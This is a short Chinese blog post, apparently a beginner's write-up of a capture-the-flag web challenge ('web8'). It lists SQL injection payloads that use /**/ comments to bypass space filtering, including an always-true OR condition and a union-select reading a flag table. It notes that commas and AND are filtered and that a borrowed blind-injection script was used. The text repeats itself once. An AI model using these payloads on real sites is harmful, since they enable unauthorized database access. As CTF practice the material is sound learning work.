BUGSHOW WEB8实例
日常开靶机
直接/?id=1/**/or/**/1=1#
试试web7的做法
?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag被过滤了逗号和and
判断为真时有回显,蹭大佬脚本
我是Dixk-BXy,新手上路,转载请注明原文链接:https://www.cnblogs.com/DenZi/articles/15028370.html
日常开靶机
直接/?id=1/**/or/**/1=1#
试试web7的做法
?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag被过滤了逗号和and
判断为真时有回显,蹭大佬脚本
我是Dixk-BXy,新手上路,转载请注明原文链接:https://www.cnblogs.com/DenZi/articles/15028370.html